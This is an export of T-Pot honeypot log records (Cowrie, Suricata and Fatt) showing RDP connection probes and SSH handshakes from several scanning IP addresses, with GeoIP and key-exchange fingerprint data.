28700	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:19:51.165871+03	2021-09-20 14:30:03.178553+03	{"_id": "JAbvAnwBvYTbRNuEBzAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 50021, "dest_port": 3389, "timestamp": "2021-09-20T11:19:51.165871", "@timestamp": "2021-09-20T11:19:51.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28701	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:19:51.837781+03	2021-09-20 14:30:03.180544+03	{"_id": "KAbvAnwBvYTbRNuEBzD4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3734 (192.168.176.2:22) [session: dccd5abe6824]", "session": "dccd5abe6824", "@version": "1", "protocol": "ssh", "src_port": 3734, "dest_port": 22, "timestamp": "2021-09-20T11:19:51.837781Z", "@timestamp": "2021-09-20T11:19:51.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28702	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:19:51.580207+03	2021-09-20 14:30:03.181553+03	{"_id": "LgbvAnwBvYTbRNuECTC2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 178285943548451, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50021, "dest_port": 3389, "timestamp": "2021-09-20T11:19:51.580207Z", "@timestamp": "2021-09-20T11:19:51.580Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28703	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:19:52.186252+03	2021-09-20 14:30:03.183525+03	{"_id": "MQbvAnwBvYTbRNuECjD2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3734, "dest_port": 22, "timestamp": "2021-09-20T11:19:52.186252", "@timestamp": "2021-09-20T11:19:52.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28704	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:19:52.186857+03	2021-09-20 14:30:03.184553+03	{"_id": "NgbvAnwBvYTbRNuECzDh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "dccd5abe6824", "@version": "1", "timestamp": "2021-09-20T11:19:52.186857Z", "@timestamp": "2021-09-20T11:19:52.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28705	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:52.83749+03	2021-09-20 14:30:03.185553+03	{"_id": "OAbvAnwBvYTbRNuEDTCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2131942012623809, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 46796, "dest_port": 3389, "timestamp": "2021-09-20T11:19:52.837490Z", "@timestamp": "2021-09-20T11:19:52.837Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28706	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:19:50.091833+03	2021-09-20 14:30:03.187553+03	{"_id": "HwbvAnwBvYTbRNuEBDAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1eff696d39c2", "@version": "1", "duration": 2.147794008255005, "timestamp": "2021-09-20T11:19:50.091833Z", "@timestamp": "2021-09-20T11:19:50.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28707	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:19:51.243276+03	2021-09-20 14:30:03.188554+03	{"_id": "IQbvAnwBvYTbRNuEBTDN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 4, "pkts_toserver": 3, "bytes_toclient": 259, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 178285943548451, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 50021, "timestamp": "2021-09-20T11:19:51.243276Z", "@timestamp": "2021-09-20T11:19:51.243Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28708	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:19:51.840637+03	2021-09-20 14:30:03.189555+03	{"_id": "KwbvAnwBvYTbRNuEBzD4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "dccd5abe6824", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:51.840637Z", "@timestamp": "2021-09-20T11:19:51.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28709	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:19:52.186036+03	2021-09-20 14:30:03.190554+03	{"_id": "LAbvAnwBvYTbRNuECTC2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1135007088737151, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3734, "dest_port": 22, "timestamp": "2021-09-20T11:19:52.186036Z", "@timestamp": "2021-09-20T11:19:52.186Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28710	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:19:51.580207+03	2021-09-20 14:30:03.191553+03	{"_id": "LQbvAnwBvYTbRNuECTC2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 178285943548451, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50021, "dest_port": 3389, "timestamp": "2021-09-20T11:19:51.580207Z", "@timestamp": "2021-09-20T11:19:51.580Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28711	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:19:52.186252+03	2021-09-20 14:30:03.193554+03	{"_id": "LwbvAnwBvYTbRNuECTC3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:51.490367+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1135007088737151, "payload": "AAADzAYUDy9HHpTX/0bRA4SDbwDEOwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3734, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:52.186252Z", "@timestamp": "2021-09-20T11:19:52.186Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......./G....F....o..;...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28712	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:51.841343+03	2021-09-20 14:30:03.194556+03	{"_id": "MAbvAnwBvYTbRNuECjD2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3734, "timestamp": "2021-09-20T11:19:51.841343", "@timestamp": "2021-09-20T11:19:51.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28719	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:19:43.867202+03	2021-09-20 14:30:03.203553+03	{"_id": "BgbuAnwBvYTbRNuE6zCx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 